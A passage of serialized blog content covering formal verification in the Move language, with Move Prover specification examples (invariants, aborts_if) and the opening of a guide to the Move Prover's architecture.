coin1_in",{"type":26,"tag":475,"props":7915,"children":7916},{"style":499},[7917],{"type":32,"value":2729},{"type":26,"tag":475,"props":7919,"children":7920},{"class":477,"line":650},[7921,7925,7930,7934,7939],{"type":26,"tag":475,"props":7922,"children":7923},{"style":2375},[7924],{"type":32,"value":7898},{"type":26,"tag":475,"props":7926,"children":7927},{"style":2375},[7928],{"type":32,"value":7929}," result_2",{"type":26,"tag":475,"props":7931,"children":7932},{"style":714},[7933],{"type":32,"value":7908},{"type":26,"tag":475,"props":7935,"children":7936},{"style":2375},[7937],{"type":32,"value":7938}," coin2_in",{"type":26,"tag":475,"props":7940,"children":7941},{"style":499},[7942],{"type":32,"value":2729},{"type":26,"tag":475,"props":7944,"children":7945},{"class":477,"line":679},[7946],{"type":26,"tag":475,"props":7947,"children":7948},{"style":499},[7949],{"type":32,"value":5585},{"type":26,"tag":35,"props":7951,"children":7952},{},[7953],{"type":32,"value":7954},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":26,"tag":35,"props":7956,"children":7957},{},[7958,7960,7965],{"type":32,"value":7959},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":26,"tag":2615,"props":7961,"children":7962},{},[7963],{"type":32,"value":7964},"lot",{"type":32,"value":7966}," easier to reason about the protocol.",{"type":26,"tag":35,"props":7968,"children":7969},{},[7970],{"type":32,"value":7971},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":26,"tag":465,"props":7973,"children":7975},{"className":2685,"code":7974,"language":2684,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[7976],{"type":26,"tag":53,"props":7977,"children":7978},{"__ignoreMap":7},[7979,7996,8019],{"type":26,"tag":475,"props":7980,"children":7981},{"class":477,"line":478},[7982,7987,7992],{"type":26,"tag":475,"props":7983,"children":7984},{"style":2375},[7985],{"type":32,"value":7986},"spec",{"type":26,"tag":475,"props":7988,"children":7989},{"style":505},[7990],{"type":32,"value":7991}," PoolState",{"type":26,"tag":475,"props":7993,"children":7994},{"style":499},[7995],{"type":32,"value":579},{"type":26,"tag":475,"props":7997,"children":7998},{"class":477,"line":516},[7999,8004,8009,8014],{"type":26,"tag":475,"props":8000,"children":8001},{"style":2375},[8002],{"type":32,"value":8003}," invariant",{"type":26,"tag":475,"props":8005,"children":8006},{"style":2375},[8007],{"type":32,"value":8008}," supply",{"type":26,"tag":475,"props":8010,"children":8011},{"style":714},[8012],{"type":32,"value":8013}," >=",{"type":26,"tag":475,"props":8015,"children":8016},{"style":499},[8017],{"type":32,"value":8018}," MINIMUM_LIQUIDITY;\n",{"type":26,"tag":475,"props":8020,"children":8021},{"class":477,"line":539},[8022],{"type":26,"tag":475,"props":8023,"children":8024},{"style":499},[8025],{"type":32,"value":3607},{"type":26,"tag":35,"props":8027,"children":8028},{},[8029,8031,8037,8039,8045],{"type":32,"value":8030},"Another useful pattern for the Move prover is ",{"type":26,"tag":53,"props":8032,"children":8034},{"className":8033},[],[8035],{"type":32,"value":8036},"aborts_if",{"type":32,"value":8038},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":26,"tag":53,"props":8040,"children":8042},{"className":8041},[],[8043],{"type":32,"value":8044},"aborts_if false",{"type":32,"value":353},{"type":26,"tag":35,"props":8047,"children":8048},{},[8049],{"type":32,"value":8050},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":26,"tag":465,"props":8052,"children":8054},{"className":2685,"code":8053,"language":2684,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[8055],{"type":26,"tag":53,"props":8056,"children":8057},{"__ignoreMap":7},[8058,8122,8164,8187,8232,8245,8257,8296,8319,8406,8414,8439,8447,8468,8488,8588,8596,8625,8633,8645,8669,8704,8711,8719,8726,8741,8757,8774,8818,8923],{"type":26,"tag":475,"props":8059,"children":8060},{"class":477,"line":478},[8061,8065,8070,8074,8079,8083,8088,8092,8096,8101,8105,8109,8113,8118],{"type":26,"tag":475,"props":8062,"children":8063},{"style":2375},[8064],{"type":32,"value":6283},{"type":26,"tag":475,"props":8066,"children":8067},{"style":493},[8068],{"type":32,"value":8069}," multiply_vec_by_n_coins",{"type":26,"tag":475,"props":8071,"children":8072},{"style":499},[8073],{"type":32,"value":626},{"type":26,"tag":475,"props":8075,"children":8076},{"style":2375},[8077],{"type":32,"value":8078},"input",{"type":26,"tag":475,"props":8080,"children":8081},{"style":714},[8082],{"type":32,"value":179},{"type":26,"tag":475,"props":8084,"children":8085},{"style":2375},[8086],{"type":32,"value":8087}," vector",{"type":26,"tag":475,"props":8089,"children":8090},{"style":499},[8091],{"type":32,"value":5519},{"type":26,"tag":475,"props":8093,"children":8094},{"style":505},[8095],{"type":32,"value":7753},{"type":26,"tag":475,"props":8097,"children":8098},{"style":499},[8099],{"type":32,"value":8100},">)",{"type":26,"tag":475,"props":8102,"children":8103},{"style":714},[8104],{"type":32,"value":179},{"type":26,"tag":475,"props":8106,"children":8107},{"style":2375},[8108],{"type":32,"value":8087},{"type":26,"tag":475,"props":8110,"children":8111},{"style":499},[8112],{"type":32,"value":5519},{"type":26,"tag":475,"props":8114,"children":8115},{"style":505},[8116],{"type":32,"value":8117},"u128",{"type":26,"tag":475,"props":8119,"children":8120},{"style":499},[8121],{"type":32,"value":6994},{"type":26,"tag":475,"props":8123,"children":8124},{"class":477,"line":516},[8125,8129,8134,8138,8142,8146,8151,8155,8159],{"type":26,"tag":475,"props":8126,"children":8127},{"style":482},[8128],{"type":32,"value":7786},{"type":26,"tag":475,"props":8130,"children":8131},{"style":2375},[8132],{"type":32,"value":8133}," amounts_times_coins",{"type":26,"tag":475,"props":8135,"children":8136},{"style":714},[8137],{"type":32,"value":2383},{"type":26,"tag":475,"props":8139,"children":8140},{"style":499},[8141],{"type":32,"value":8087},{"type":26,"tag":475,"props":8143,"children":8144},{"style":714},[8145],{"type":32,"value":3187},{"type":26,"tag":475,"props":8147,"children":8148},{"style":2375},[8149],{"type":32,"value":8150},"empty",{"type":26,"tag":475,"props":8152,"children":8153},{"style":499},[8154],{"type":32,"value":5519},{"type":26,"tag":475,"props":8156,"children":8157},{"style":505},[8158],{"type":32,"value":8117},{"type":26,"tag":475,"props":8160,"children":8161},{"style":499},[8162],{"type":32,"value":8163},">();\n",{"type":26,"tag":475,"props":8165,"children":8166},{"class":477,"line":539},[8167,8171,8175,8179,8183],{"type":26,"tag":475,"props":8168,"children":8169},{"style":482},[8170],{"type":32,"value":7786},{"type":26,"tag":475,"props":8172,"children":8173},{"style":2375},[8174],{"type":32,"value":3104},{"type":26,"tag":475,"props":8176,"children":8177},{"style":714},[8178],{"type":32,"value":2383},{"type":26,"tag":475,"props":8180,"children":8181},{"style":903},[8182],{"type":32,"value":2752},{"type":26,"tag":475,"props":8184,"children":8185},{"style":499},[8186],{"type":32,"value":2729},{"type":26,"tag":475,"props":8188,"children":8189},{"class":477,"line":548},[8190,8194,8199,8203,8207,8211,8216,8220,8224,8228],{"type":26,"tag":475,"props":8191,"children":8192},{"style":482},[8193],{"type":32,"value":7786},{"type":26,"tag":475,"props":8195,"children":8196},{"style":2375},[8197],{"type":32,"value":8198}," n_coins",{"type":26,"tag":475,"props":8200,"children":8201},{"style":714},[8202],{"type":32,"value":2383},{"type":26,"tag":475,"props":8204,"children":8205},{"style":499},[8206],{"type":32,"value":8087},{"type":26,"tag":475,"props":8208,"children":8209},{"style":714},[8210],{"type":32,"value":3187},{"type":26,"tag":475,"props":8212,"children":8213},{"style":493},[8214],{"type":32,"value":8215},"length",{"type":26,"tag":475,"props":8217,"children":8218},{"style":499},[8219],{"type":32,"value":626},{"type":26,"tag":475,"props":8221,"children":8222},{"style":714},[8223],{"type":32,"value":2816},{"type":26,"tag":475,"props":8225,"children":8226},{"style":2375},[8227],{"type":32,"value":8078},{"type":26,"tag":475,"props":8229,"children":8230},{"style":499},[8231],{"type":32,"value":3533},{"type":26,"tag":475,"props":8233,"children":8234},{"class":477,"line":558},[8235,8240],{"type":26,"tag":475,"props":8236,"children":8237},{"style":586},[8238],{"type":32,"value":8239}," while",{"type":26,"tag":475,"props":8241,"children":8242},{"style":499},[8243],{"type":32,"value":8244}," ({\n",{"type":26,"tag":475,"props":8246,"children":8247},{"class":477,"line":582},[8248,8253],{"type":26,"tag":475,"props":8249,"children":8250},{"style":2375},[8251],{"type":32,"value":8252}," spec",{"type":26,"tag":475,"props":8254,"children":8255},{"style":499},[8256],{"type":32,"value":579},{"type":26,"tag":475,"props":8258,"children":8259},{"class":477,"line":596},[8260,8265,8270,8274,8279,8283,8288,8292],{"type":26,"tag":475,"props":8261,"children":8262},{"style":2375},[8263],{"type":32,"value":8264}," invariant",{"type":26,"tag":475,"props":8266,"children":8267},{"style":493},[8268],{"type":32,"value":8269}," len",{"type":26,"tag":475,"props":8271,"children":8272},{"style":499},[8273],{"type":32,"value":626},{"type":26,"tag":475,"props":8275,"children":8276},{"style":2375},[8277],{"type":32,"value":8278},"amounts_times_coins",{"type":26,"tag":475,"props":8280,"children":8281},{"style":499},[8282],{"type":32,"value":2794},{"type":26,"tag":475,"props":8284,"children":8285},{"style":714},[8286],{"type":32,"value":8287},"==",{"type":26,"tag":475,"props":8289,"children":8290},{"style":2375},[8291],{"type":32,"value":3104},{"type":26,"tag":475,"props":8293,"children":8294},{"style":499},[8295],{"type":32,"value":2729},{"type":26,"tag":475,"props":8297,"children":8298},{"class":477,"line":610},[8299,8303,8307,8311,8315],{"type":26,"tag":475,"props":8300,"children":8301},{"style":2375},[8302],{"type":32,"value":8264},{"type":26,"tag":475,"props":8304,"children":8305},{"style":2375},[8306],{"type":32,"value":3104},{"type":26,"tag":475,"props":8308,"children":8309},{"style":714},[8310],{"type":32,"value":7908},{"type":26,"tag":475,"props":8312,"children":8313},{"style":2375},[8314],{"type":32,"value":8198},{"type":26,"tag":475,"props":8316,"children":8317},{"style":499},[8318],{"type":32,"value":2729},{"type":26,"tag":475,"props":8320,"children":8321},{"class":477,"line":650},[8322,8326,8331,8336,8340,8344,8348,8352,8356,8360,8364,8369,8373,8377,8382,8386,8390,8394,8398,8402],{"type":26,"tag":475,"props":8323,"children":8324},{"style":2375},[8325],{"type":32,"value":8264},{"type":26,"tag":475,"props":8327,"children":8328},{"style":2375},[8329],{"type":32,"value":8330}," forall",{"type":26,"tag":475,"props":8332,"children":8333},{"style":2375},[8334],{"type":32,"value":8335}," j",{"type":26,"tag":475,"props":8337,"children":8338},{"style":482},[8339],{"type":32,"value":2747},{"type":26,"tag":475,"props":8341,"children":8342},{"style":903},[8343],{"type":32,"value":2752},{"type":26,"tag":475,"props":8345,"children":8346},{"style":714},[8347],{"type":32,"value":2757},{"type":26,"tag":475,"props":8349,"children":8350},{"style":2375},[8351],{"type":32,"value":3445},{"type":26,"tag":475,"props":8353,"children":8354},{"style":714},[8355],{"type":32,"value":179},{"type":26,"tag":475,"props":8357,"children":8358},{"style":2375},[8359],{"type":32,"value":8133},{"type":26,"tag":475,"props":8361,"children":8362},{"style":499},[8363],{"type":32,"value":3440},{"type":26,"tag":475,"props":8365,"children":8366},{"style":2375},[8367],{"type":32,"value":8368},"j",{"type":26,"tag":475,"props":8370,"children":8371},{"style":499},[8372],{"type":32,"value":1699},{"type":26,"tag":475,"props":8374,"children":8375},{"style":714},[8376],{"type":32,"value":8287},{"type":26,"tag":475,"props":8378,"children":8379},{"style":2375},[8380],{"type":32,"value":8381}," input",{"type":26,"tag":475,"props":8383,"children":8384},{"style":499},[8385],{"type":32,"value":3440},{"type":26,"tag":475,"props":8387,"children":8388},{"style":2375},[8389],{"type":32,"value":8368},{"type":26,"tag":475,"props":8391,"children":8392},{"style":499},[8393],{"type":32,"value":1699},{"type":26,"tag":475,"props":8395,"children":8396},{"style":714},[8397],{"type":32,"value":4282},{"type":26,"tag":475,"props":8399,"children":8400},{"style":2375},[8401],{"type":32,"value":8198},{"type":26,"tag":475,"props":8403,"children":8404},{"style":499},[8405],{"type":32,"value":2729},{"type":26,"tag":475,"props":8407,"children":8408},{"class":477,"line":679},[8409],{"type":26,"tag":475,"props":8410,"children":8411},{"style":499},[8412],{"type":32,"value":8413}," };\n",{"type":26,"tag":475,"props":8415,"children":8416},{"class":477,"line":735},[8417,8422,8426,8431,8435],{"type":26,"tag":475,"props":8418,"children":8419},{"style":499},[8420],{"type":32,"value":8421}," (",{"type":26,"tag":475,"props":8423,"children":8424},{"style":2375},[8425],{"type":32,"value":3445},{"type":26,"tag":475,"props":8427,"children":8428},{"style":714},[8429],{"type":32,"value":8430}," \u003C",{"type":26,"tag":475,"props":8432,"children":8433},{"style":2375},[8434],{"type":32,"value":8198},{"type":26,"tag":475,"props":8436,"children":8437},{"style":499},[8438],{"type":32,"value":647},{"type":26,"tag":475,"props":8440,"children":8441},{"class":477,"line":744},[8442],{"type":26,"tag":475,"props":8443,"children":8444},{"style":499},[8445],{"type":32,"value":8446}," }) {\n",{"type":26,"tag":475,"props":8448,"children":8449},{"class":477,"line":753},[8450,8455,8459,8464],{"type":26,"tag":475,"props":8451,"children":8452},{"style":499},[8453],{"type":32,"value":8454}," vector",{"type":26,"tag":475,"props":8456,"children":8457},{"style":714},[8458],{"type":32,"value":3187},{"type":26,"tag":475,"props":8460,"children":8461},{"style":493},[8462],{"type":32,"value":8463},"push_back",{"type":26,"tag":475,"props":8465,"children":8466},{"style":499},[8467],{"type":32,"value":3169},{"type":26,"tag":475,"props":8469,"children":8470},{"class":477,"line":761},[8471,8476,8480,8484],{"type":26,"tag":475,"props":8472,"children":8473},{"style":714},[8474],{"type":32,"value":8475}," &",{"type":26,"tag":475,"props":8477,"children":8478},{"style":482},[8479],{"type":32,"value":3430},{"type":26,"tag":475,"props":8481,"children":8482},{"style":2375},[8483],{"type":32,"value":8133},{"type":26,"tag":475,"props":8485,"children":8486},{"style":499},[8487],{"type":32,"value":2425},{"type":26,"tag":475,"props":8489,"children":8490},{"class":477,"line":770},[8491,8496,8500,8505,8509,8514,8518,8522,8526,8531,8535,8540,8544,8549,8554,8559,8563,8567,8571,8576,8580,8584],{"type":26,"tag":475,"props":8492,"children":8493},{"style":499},[8494],{"type":32,"value":8495}," (",{"type":26,"tag":475,"props":8497,"children":8498},{"style":714},[8499],{"type":32,"value":4282},{"type":26,"tag":475,"props":8501,"children":8502},{"style":499},[8503],{"type":32,"value":8504},"vector",{"type":26,"tag":475,"props":8506,"children":8507},{"style":714},[8508],{"type":32,"value":3187},{"type":26,"tag":475,"props":8510,"children":8511},{"style":493},[8512],{"type":32,"value":8513},"borrow",{"type":26,"tag":475,"props":8515,"children":8516},{"style":499},[8517],{"type":32,"value":626},{"type":26,"tag":475,"props":8519,"children":8520},{"style":714},[8521],{"type":32,"value":2816},{"type":26,"tag":475,"props":8523,"children":8524},{"style":2375},[8525],{"type":32,"value":8078},{"type":26,"tag":475,"props":8527,"children":8528},{"style":499},[8529],{"type":32,"value":8530},", (",{"type":26,"tag":475,"props":8532,"children":8533},{"style":2375},[8534],{"type":32,"value":3445},{"type":26,"tag":475,"props":8536,"children":8537},{"style":482},[8538],{"type":32,"value":8539}," as",{"type":26,"tag":475,"props":8541,"children":8542},{"style":505},[8543],{"type":32,"value":5573},{"type":26,"tag":475,"props":8545,"children":8546},{"style":499},[8547],{"type":32,"value":8548},")) ",{"type":26,"tag":475,"props":8550,"children":8551},{"style":482},[8552],{"type":32,"value":8553},"as",{"type":26,"tag":475,"props":8555,"children":8556},{"style":505},[8557],{"type":32,"value":8558}," u128",{"type":26,"tag":475,"props":8560,"children":8561},{"style":499},[8562],{"type":32,"value":2794},{"type":26,"tag":475,"props":8564,"children":8565},{"style":714},[8566],{"type":32,"value":4282},{"type":26,"tag":475,"props":8568,"children":8569},{"style":499},[8570],{"type":32,"value":2775},{"type":26,"tag":475,"props":8572,"children":8573},{"style":2375},[8574],{"type":32,"value":8575},"n_coins",{"type":26,"tag":475,"props":8577,"children":8578},{"style":482},[8579],{"type":32,"value":8539},{"type":26,"tag":475,"props":8581,"children":8582},{"style":505},[8583],{"type":32,"value":8558},{"type":26,"tag":475,"props":8585,"children":8586},{"style":499},[8587],{"type":32,"value":647},{"type":26,"tag":475,"props":8589,"children":8590},{"class":477,"line":794},[8591],{"type":26,"tag":475,"props":8592,"children":8593},{"style":499},[8594],{"type":32,"value":8595}," );\n",{"type":26,"tag":475,"props":8597,"children":8598},{"class":477,"line":831},[8599,8604,8608,8612,8617,8621],{"type":26,"tag":475,"props":8600,"children":8601},{"style":2375},[8602],{"type":32,"value":8603}," i",{"type":26,"tag":475,"props":8605,"children":8606},{"style":714},[8607],{"type":32,"value":2383},{"type":26,"tag":475,"props":8609,"children":8610},{"style":2375},[8611],{"type":32,"value":3104},{"type":26,"tag":475,"props":8613,"children":8614},{"style":714},[8615],{"type":32,"value":8616}," +",{"type":26,"tag":475,"props":8618,"children":8619},{"style":903},[8620],{"type":32,"value":4234},{"type":26,"tag":475,"props":8622,"children":8623},{"style":499},[8624],{"type":32,"value":2729},{"type":26,"tag":475,"props":8626,"children":8627},{"class":477,"line":845},[8628],{"type":26,"tag":475,"props":8629,"children":8630},{"style":499},[8631],{"type":32,"value":8632}," };\n",{"type":26,"tag":475,"props":8634,"children":8635},{"class":477,"line":854},[8636,8641],{"type":26,"tag":475,"props":8637,"children":8638},{"style":2375},[8639],{"type":32,"value":8640}," spec",{"type":26,"tag":475,"props":8642,"children":8643},{"style":499},[8644],{"type":32,"value":579},{"type":26,"tag":475,"props":8646,"children":8647},{"class":477,"line":862},[8648,8653,8657,8661,8665],{"type":26,"tag":475,"props":8649,"children":8650},{"style":2375},[8651],{"type":32,"value":8652}," assert",{"type":26,"tag":475,"props":8654,"children":8655},{"style":2375},[8656],{"type":32,"value":3104},{"type":26,"tag":475,"props":8658,"children":8659},{"style":714},[8660],{"type":32,"value":2990},{"type":26,"tag":475,"props":8662,"children":8663},{"style":2375},[8664],{"type":32,"value":8198},{"type":26,"tag":475,"props":8666,"children":8667},{"style":499},[8668],{"type":32,"value":2729},{"type":26,"tag":475,"props":8670,"children":8671},{"class":477,"line":885},[8672,8676,8680,8684,8688,8692,8696,8700],{"type":26,"tag":475,"props":8673,"children":8674},{"style":2375},[8675],{"type":32,"value":8652},{"type":26,"tag":475,"props":8677,"children":8678},{"style":493},[8679],{"type":32,"value":8269},{"type":26,"tag":475,"props":8681,"children":8682},{"style":499},[8683],{"type":32,"value":626},{"type":26,"tag":475,"props":8685,"children":8686},{"style":2375},[8687],{"type":32,"value":8078},{"type":26,"tag":475,"props":8689,"children":8690},{"style":499},[8691],{"type":32,"value":2794},{"type":26,"tag":475,"props":8693,"children":8694},{"style":714},[8695],{"type":32,"value":8287},{"type":26,"tag":475,"props":8697,"children":8698},{"style":2375},[8699],{"type":32,"value":8198},{"type":26,"tag":475,"props":8701,"children":8702},{"style":499},[8703],{"type":32,"value":2729},{"type":26,"tag":475,"props":8705,"children":8706},{"class":477,"line":913},[8707],{"type":26,"tag":475,"props":8708,"children":8709},{"style":499},[8710],{"type":32,"value":8632},{"type":26,"tag":475,"props":8712,"children":8713},{"class":477,"line":926},[8714],{"type":26,"tag":475,"props":8715,"children":8716},{"style":2375},[8717],{"type":32,"value":8718}," amounts_times_coins\n",{"type":26,"tag":475,"props":8720,"children":8721},{"class":477,"line":948},[8722],{"type":26,"tag":475,"props":8723,"children":8724},{"style":499},[8725],{"type":32,"value":5585},{"type":26,"tag":475,"props":8727,"children":8728},{"class":477,"line":966},[8729,8733,8737],{"type":26,"tag":475,"props":8730,"children":8731},{"style":2375},[8732],{"type":32,"value":7856},{"type":26,"tag":475,"props":8734,"children":8735},{"style":2375},[8736],{"type":32,"value":8069},{"type":26,"tag":475,"props":8738,"children":8739},{"style":499},[8740],{"type":32,"value":579},{"type":26,"tag":475,"props":8742,"children":8743},{"class":477,"line":979},[8744,8748,8753],{"type":26,"tag":475,"props":8745,"children":8746},{"style":2375},[8747],{"type":32,"value":7872},{"type":26,"tag":475,"props":8749,"children":8750},{"style":2375},[8751],{"type":32,"value":8752}," opaque",{"type":26,"tag":475,"props":8754,"children":8755},{"style":499},[8756],{"type":32,"value":2729},{"type":26,"tag":475,"props":8758,"children":8759},{"class":477,"line":1006},[8760,8765,8770],{"type":26,"tag":475,"props":8761,"children":8762},{"style":2375},[8763],{"type":32,"value":8764}," aborts_if",{"type":26,"tag":475,"props":8766,"children":8767},{"style":482},[8768],{"type":32,"value":8769}," false",{"type":26,"tag":475,"props":8771,"children":8772},{"style":499},[8773],{"type":32,"value":2729},{"type":26,"tag":475,"props":8775,"children":8776},{"class":477,"line":1046},[8777,8781,8785,8789,8794,8798,8802,8806,8810,8814],{"type":26,"tag":475,"props":8778,"children":8779},{"style":2375},[8780],{"type":32,"value":7898},{"type":26,"tag":475,"props":8782,"children":8783},{"style":493},[8784],{"type":32,"value":8269},{"type":26,"tag":475,"props":8786,"children":8787},{"style":499},[8788],{"type":32,"value":626},{"type":26,"tag":475,"props":8790,"children":8791},{"style":2375},[8792],{"type":32,"value":8793},"result",{"type":26,"tag":475,"props":8795,"children":8796},{"style":499},[8797],{"type":32,"value":2794},{"type":26,"tag":475,"props":8799,"children":8800},{"style":714},[8801],{"type":32,"value":8287},{"type":26,"tag":475,"props":8803,"children":8804},{"style":493},[8805],{"type":32,"value":8269},{"type":26,"tag":475,"props":8807,"children":8808},{"style":499},[8809],{"type":32,"value":626},{"type":26,"tag":475,"props":8811,"children":8812},{"style":2375},[8813],{"type":32,"value":8078},{"type":26,"tag":475,"props":8815,"children":8816},{"style":499},[8817],{"type":32,"value":3533},{"type":26,"tag":475,"props":8819,"children":8820},{"class":477,"line":1068},[8821,8825,8829,8833,8837,8841,8845,8850,8854,8858,8862,8866,8871,8875,8879,8883,8887,8891,8895,8899,8903,8907,8911,8915,8919],{"type":26,"tag":475,"props":8822,"children":8823},{"style":2375},[8824],{"type":32,"value":7898},{"type":26,"tag":475,"props":8826,"children":8827},{"style":2375},[8828],{"type":32,"value":8330},{"type":26,"tag":475,"props":8830,"children":8831},{"style":2375},[8832],{"type":32,"value":8335},{"type":26,"tag":475,"props":8834,"children":8835},{"style":482},[8836],{"type":32,"value":2747},{"type":26,"tag":475,"props":8838,"children":8839},{"style":903},[8840],{"type":32,"value":2752},{"type":26,"tag":475,"props":8842,"children":8843},{"style":714},[8844],{"type":32,"value":2757},{"type":26,"tag":475,"props":8846,"children":8847},{"style":493},[8848],{"type":32,"value":8849},"len",{"type":26,"tag":475,"props":8851,"children":8852},{"style":499},[8853],{"type":32,"value":626},{"type":26,"tag":475,"props":8855,"children":8856},{"style":2375},[8857],{"type":32,"value":8078},{"type":26,"tag":475,"props":8859,"children":8860},{"style":499},[8861],{"type":32,"value":2835},{"type":26,"tag":475,"props":8863,"children":8864},{"style":714},[8865],{"type":32,"value":179},{"type":26,"tag":475,"props":8867,"children":8868},{"style":2375},[8869],{"type":32,"value":8870}," result",{"type":26,"tag":475,"props":8872,"children":8873},{"style":499},[8874],{"type":32,"value":3440},{"type":26,"tag":475,"props":8876,"children":8877},{"style":2375},[8878],{"type":32,"value":8368},{"type":26,"tag":475,"props":8880,"children":8881},{"style":499},[8882],{"type":32,"value":1699},{"type":26,"tag":475,"props":8884,"children":8885},{"style":714},[8886],{"type":32,"value":8287},{"type":26,"tag":475,"props":8888,"children":8889},{"style":2375},[8890],{"type":32,"value":8381},{"type":26,"tag":475,"props":8892,"children":8893},{"style":499},[8894],{"type":32,"value":3440},{"type":26,"tag":475,"props":8896,"children":8897},{"style":2375},[8898],{"type":32,"value":8368},{"type":26,"tag":475,"props":8900,"children":8901},{"style":499},[8902],{"type":32,"value":1699},{"type":26,"tag":475,"props":8904,"children":8905},{"style":714},[8906],{"type":32,"value":4282},{"type":26,"tag":475,"props":8908,"children":8909},{"style":493},[8910],{"type":32,"value":8269},{"type":26,"tag":475,"props":8912,"children":8913},{"style":499},[8914],{"type":32,"value":626},{"type":26,"tag":475,"props":8916,"children":8917},{"style":2375},[8918],{"type":32,"value":8078},{"type":26,"tag":475,"props":8920,"children":8921},{"style":499},[8922],{"type":32,"value":3533},{"type":26,"tag":475,"props":8924,"children":8925},{"class":477,"line":1077},[8926],{"type":26,"tag":475,"props":8927,"children":8928},{"style":499},[8929],{"type":32,"value":5585},{"type":26,"tag":27,"props":8931,"children":8932},{"id":5022},[8933],{"type":32,"value":5025},{"type":26,"tag":35,"props":8935,"children":8936},{},[8937],{"type":32,"value":8938},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":26,"tag":35,"props":8940,"children":8941},{},[8942],{"type":32,"value":8943},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":26,"tag":35,"props":8945,"children":8946},{},[8947,8949,8956],{"type":32,"value":8948},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":26,"tag":116,"props":8950,"children":8953},{"href":8951,"rel":8952},"https://twitter.com/notdeghost/",[120],[8954],{"type":32,"value":8955},"@notdeghost",{"type":32,"value":353},{"type":26,"tag":2548,"props":8958,"children":8959},{},[8960],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":8962},[8963,8964,8965],{"id":5471,"depth":516,"text":5474},{"id":7508,"depth":516,"text":7511},{"id":5022,"depth":516,"text":5025},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":8970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8971,"description":8972,"author":5432,"image":8973,"date":8976,"isFeatured":18,"tags":8977,"onBlogPage":18,"body":8980,"_type":2566,"_id":13320,"_source":2568,"_file":13321,"_stem":13322,"_extension":2571},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":8974,"height":8975,"width":5436},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[8978,8979],"move","tutorial",{"type":23,"children":8981,"toc":13306},[8982,9001,9013,9019,9024,9029,9034,9043,9048,9062,9067,9073,9078,9092,9097,9234,9247,9252,9273,9305,9316,9321,9326,9336,9349,9692,9706,9724,9769,9782,9801,9973,9978,9983,10008,10013,10614,10626,10638,10643,10657,10662,10675,10715,10720,10752,10757,10762,10775,11160,11187,11394,11399,11411,11648,11653,11661,11680,12028,12033,12189,12194,12201,12215,12221,12226,12231,12237,12250,12482,12488,12493,12513,12782,12787,12793,12805,12810,12824,12830,12865,12965,12986,12992,12997,13002,13254,13259,13277,13281,13286,13291,13302],{"type":26,"tag":35,"props":8983,"children":8984},{},[8985,8987,8992,8994,8999],{"type":32,"value":8986},"Formal verification -- a powerful tool for ",{"type":26,"tag":2615,"props":8988,"children":8989},{},[8990],{"type":32,"value":8991},"proving",{"type":32,"value":8993}," the correctness of your programs. How does it ",{"type":26,"tag":2615,"props":8995,"children":8996},{},[8997],{"type":32,"value":8998},"actually",{"type":32,"value":9000}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":26,"tag":35,"props":9002,"children":9003},{},[9004,9006,9011],{"type":32,"value":9005},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":26,"tag":2615,"props":9007,"children":9008},{},[9009],{"type":32,"value":9010},"all",{"type":32,"value":9012}," possible inputs.",{"type":26,"tag":27,"props":9014,"children":9016},{"id":9015},"move-prover",[9017],{"type":32,"value":9018},"Move Prover",{"type":26,"tag":35,"props":9020,"children":9021},{},[9022],{"type":32,"value":9023},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":26,"tag":35,"props":9025,"children":9026},{},[9027],{"type":32,"value":9028},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":26,"tag":35,"props":9030,"children":9031},{},[9032],{"type":32,"value":9033},"The architecture of the tool consists of multiple components as illustrated below.",{"type":26,"tag":35,"props":9035,"children":9036},{},[9037],{"type":26,"tag":132,"props":9038,"children":9042},{"alt":9039,"src":9040,"title":9041},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":26,"tag":35,"props":9044,"children":9045},{},[9046],{"type":32,"value":9047},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":26,"tag":35,"props":9049,"children":9050},{},[9051,9053,9060],{"type":32,"value":9052},"The model is translated into an intermediate language, called 